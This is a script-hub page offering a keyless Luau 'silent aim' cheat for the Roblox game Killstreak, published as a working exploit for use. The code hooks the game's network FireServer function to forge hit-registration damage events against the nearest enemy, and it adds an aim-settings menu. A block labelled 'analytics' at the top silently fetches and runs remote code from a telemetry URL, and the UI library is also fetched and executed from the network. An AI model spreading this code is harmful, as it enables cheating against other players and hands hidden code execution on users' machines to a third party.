M
Description
Silent aim literally silent aim if it gets patched am not touching it
GAMEKILLSTREAK
UPDATEDOct 10, 2026
ACCESSKeyless
PLATFORMDesktop
Script source Luau
--[[rscripts:analytics:start]]
-- Script analytics (enabled by the creator on rscripts.net).
-- Runs in its own thread and cannot affect the script below.
task.spawn(function()
pcall(function()
loadstring(game:HttpGet("https://rscripts.net/api/telemetry/v2/client.lua?s=6ac6147996f877510eed96f6"))()
end)
end)
--[[rscripts:analytics:end]]
if getgenv().Killstreak then pcall(getgenv().Killstreak.kill) end
local Players = cloneref(game:GetService("Players"))
local RunService = cloneref(game:GetService("RunService"))
local Workspace = cloneref(game:GetService("Workspace"))
local ReplicatedFirst = cloneref(game:GetService("ReplicatedFirst"))
local CoreGui = cloneref(game:GetService("CoreGui"))
local lp = Players.LocalPlayer
local Net = require(ReplicatedFirst.Sakura.Util.Network)
local bones = { "Head", "UpperTorso", "HumanoidRootPart", "Torso", "LowerTorso" }
local cfg = {
silent = false,
hitChance = 100,
bone = "Head",
maxDist = 300,
visibleCheck = true,
fovSize = 180,
showFov = true,
fovColor = Color3.fromRGB(255, 255, 255),
}
local conns = {}
local resolved = {}
local origFire = Net.FireServer
local gui = Instance.new("ScreenGui")
gui.Name = "Killstreak"
gui.IgnoreGuiInset = true
gui.ResetOnSpawn = false
gui.DisplayOrder = 50
gui.Parent = (gethui and gethui()) or CoreGui
local ring = Instance.new("Frame")
ring.AnchorPoint = Vector2.new(0.5, 0.5)
ring.BackgroundTransparency = 1
ring.BorderSizePixel = 0
ring.Parent = gui
Instance.new("UICorner", ring).CornerRadius = UDim.new(1, 0)
local stroke = Instance.new("UIStroke")
stroke.Thickness = 2
stroke.LineJoinMode = Enum.LineJoinMode.Round
stroke.Parent = ring
conns[#conns + 1] = RunService.RenderStepped:Connect(function()
local cam = Workspace.CurrentCamera
gui.Enabled = cfg.showFov and cfg.silent
if not gui.Enabled or not cam then
return
end
ring.Size = UDim2.fromOffset(cfg.fovSize * 2, cfg.fovSize * 2)
ring.Position = UDim2.fromOffset(cam.ViewportSize.X / 2, cam.ViewportSize.Y / 2)
stroke.Color = cfg.fovColor
end)
local function alive(m)
if m == lp.Character then
return false
end
return m:GetAttribute("CharacterState") == "Alive" and (m:GetAttribute("Health") or 0) > 0
end
local function visible(origin, part, model)
if not cfg.visibleCheck then
return true
end
local rp = RaycastParams.new()
rp.FilterType = Enum.RaycastFilterType.Exclude
rp.FilterDescendantsInstances = { lp.Character }
local hit = Workspace:Raycast(origin, part.Position - origin, rp)
return hit ~= nil and hit.Instance:IsDescendantOf(model)
end
local function randomBone(model)
local pool = {}
for i = 1, #bones do
local p = model:FindFirstChild(bones[i])
if p then
pool[#pool + 1] = p
end
end
return pool[1] and pool[math.random(1, #pool)]
end
local function nearestToCursor(model, cam, cx, cy)
local kids = model:GetChildren()
local best, bd
for i = 1, #kids do
local p = kids[i]
if p:IsA("BasePart") then
local sp, on = cam:WorldToViewportPoint(p.Position)
if on and sp.Z > 0 then
local d = math.sqrt((sp.X - cx) ^ 2 + (sp.Y - cy) ^ 2)
if not bd or d < bd then
best, bd = p, d
end
end
end
end
return best or model:FindFirstChild("Head")
end
local function aimPart(model, cam, cx, cy)
if cfg.bone == "Random" then
return randomBone(model)
end
if cfg.bone == "Closest to Cursor" then
return nearestToCursor(model, cam, cx, cy)
end
return model:FindFirstChild(cfg.bone) or model:FindFirstChild("Head")
end
local function getTarget()
local gl = Workspace:FindFirstChild("GameLogic")
local folder = gl and gl:FindFirstChild("Characters")
local cam = Workspace.CurrentCamera
if not folder or not cam then
return
end
local origin = cam.CFrame.Position
local cx, cy = cam.ViewportSize.X / 2, cam.ViewportSize.Y / 2
local chars = folder:GetChildren()
local pick, pickPart, bd = nil, nil, cfg.fovSize
for i = 1, #chars do
local m = chars[i]
if alive(m) then
local part = aimPart(m, cam, cx, cy)
if part and (part.Position - origin).Magnitude <= cfg.maxDist then
local sp, on = cam:WorldToViewportPoint(part.Position)
if on and sp.Z > 0 then
local d = math.sqrt((sp.X - cx) ^ 2 + (sp.Y - cy) ^ 2)
if d <= bd and visible(origin, part, m) then
pick, pickPart, bd = m, part, d
end
end
end
end
end
return pick, pickPart, origin
end
Net.FireServer = function(self, name, ...)
if name == "Weapon:Damage" then
local a = table.pack(...)
resolved[a[1]] = true
return origFire(self, name, ...)
end
if name ~= "Weapon:Attack" or not cfg.silent then
return origFire(self, name, ...)
end
local a = table.pack(...)
local seq, wep, slot, stamp = a[1], a[2], a[3], a[4]
local res = table.pack(origFire(self, name, ...))
task.defer(function()
if resolved[seq] or math.random(100) > cfg.hitChance then
return
end
local target, part, origin = getTarget()
if not target then
return
end
local id = ("%d_%f_1"):format(lp.UserId, Workspace:GetServerTimeNow())
origFire(Net, "Weapon:Damage", seq, wep, slot, stamp, {
{ part, part.Position, origin, nil, 0, id, { AttackerWasAiming = false } },
}, false)
end)
return table.unpack(res, 1, res.n)
end
local Rayfield = loadstring(game:HttpGet("https://sirius.menu/gen2"))()
local Window = Rayfield:CreateWindow({
name = "Killstreak",
subtitle = "Legionary",
sidebarLayout = true,
theme = "cobalt",
showName = "Killstreak",
configuration = { autoSave = true, autoLoad = true, fileName = "Killstreak", customFolder = "Killstreak" },
})
local combat = Window:CreateTab({ name = "Combat" })
combat:CreateSection({ name = "Silent Aim" })
combat:CreateToggle({
name = "Silent Aim",
flag = "silent",
value = cfg.silent,
callback = function(v) cfg.silent = v end,
})
combat:CreateSlider({
name = "Hit Chance",
flag = "hitChance",
range = { 0, 100 },
increment = 5,
value = cfg.hitChance,
suffix = "%",
callback = function(v) cfg.hitChance = v end,
})
combat:CreateDropdown({
name = "Target Bone",
flag = "bone",
options = { "Head", "UpperTorso", "HumanoidRootPart", "Random", "Closest to Cursor" },
value = { cfg.bone },
callback = function(v) cfg.bone = (type(v) == "table" and v[1]) or v end,
})
combat:CreateSlider({
name = "Max Distance",
flag = "maxDist",
range = { 10, 500 },
increment = 10,
value = cfg.maxDist,
suffix = " studs",
callback = function(v) cfg.maxDist = v end,
})
combat:CreateToggle({
name = "Visible Check",
flag = "visibleCheck",
value = cfg.visibleCheck,
callback = function(v) cfg.visibleCheck = v end,
})
local fov = Window:CreateTab({ name = "FOV" })
fov:CreateToggle({
name = "Show FOV",
flag = "showFov",
value = cfg.showFov,
callback = function(v) cfg.showFov = v end,
})
fov:CreateSlider({
name = "Size",
flag = "fovSize",
range = { 10, 600 },
increment = 5,
value = cfg.fovSize,
suffix = " px",
callback = function(v) cfg.fovSize = v end,
})
fov:CreateColorPicker({
name = "Color",
flag = "fovColor",
color = cfg.fovColor,
callback = function(c) cfg.fovColor = c end,
})
local misc = Window:CreateTab({ name = "Misc" })
misc:CreateButton({
name = "Unload",
callback = function() getgenv().Killstreak.kill() end,
})
local function kill()
Net.FireServer = origFire
for i = 1, #conns do
pcall(function() conns[i]:Disconnect() end)
end
pcall(function() gui:Destroy() end)
pcall(function() if not Window.unloaded then Window:Unload() end end)
getgenv().Killstreak = nil
end
getgenv().Killstreak = { cfg = cfg, kill = kill }
Window:Notify({ title = "Killstreak", content = "Loaded.", duration = 4 })
Review the source before using it. Executions count successful copies, capped at 10 per user and network per script in 24 hours.
Community discussion
0Start the conversation.


Your community, in one place